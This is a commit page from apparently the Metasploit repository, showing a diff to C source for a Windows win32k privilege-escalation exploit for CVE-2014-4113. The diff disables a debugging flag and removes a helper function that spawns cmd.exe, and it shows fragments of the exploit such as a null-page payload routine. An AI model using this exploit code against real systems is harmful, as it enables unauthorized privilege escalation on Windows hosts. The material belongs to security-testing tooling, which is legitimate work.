Skip to content

Commit d6a63cc

Browse files
committed
Remove unnecessary C debugging code for the exploit
1 parent 46b1aba commit d6a63cc

File tree

1 file changed

+1
-16
lines changed

1 file changed

+1
-16
lines changed

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 1 addition & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ typedef __success(return >= 0) LONG NTSTATUS;
1414
typedef NTSTATUS *PNTSTATUS;
1515
#endif
1616

17-
#define DEBUGGING TRUE
17+
#define DEBUGGING FALSE
1818

1919
#ifdef _M_X64
2020
typedef unsigned __int64 QWORD;
@@ -468,21 +468,6 @@ void Win32kNullPage(LPVOID lpPayload) {
468468
return;
469469
}
470470

471-
BOOL ExecuteShell(void) {
472-
STARTUPINFO si;
473-
PROCESS_INFORMATION pi;
474-
475-
ZeroMemory(&si, sizeof(si));
476-
ZeroMemory(&pi, sizeof(pi));
477-
si.cb = sizeof(si);
478-
479-
if (!CreateProcess(0, "cmd.exe", NULL, NULL, TRUE, 0, NULL, "C:\\WINDOWS\\system32", &si, &pi)) {
480-
return FALSE;
481-
}
482-
WaitForSingleObject(pi.hProcess, INFINITE);
483-
return TRUE;
484-
}
485-
486471
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
487472
BOOL bReturnValue = TRUE;
488473
switch (dwReason) {

0 commit comments

Comments
 (0)